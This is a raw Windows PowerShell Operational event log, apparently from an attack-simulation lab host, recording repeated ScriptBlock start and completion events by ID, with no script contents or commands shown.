Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031353
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031352
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031351
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031350
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031349
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031348
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031347
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031346
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031345
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031344
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031343
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031342
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031341
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031340
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031339
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031338
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031337
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031336
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031335
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031334
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031333
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031332
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031331
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031330
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031329
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031328
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031327
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031326
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031325
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031324
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031323
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031322
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031321
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031320
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031319
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031318
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031317
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031316
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031315
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031314
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031313
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031312
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031311
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031310
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031309
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031308
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031307
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031306
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031305
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031304
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031303
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031302
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031301
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
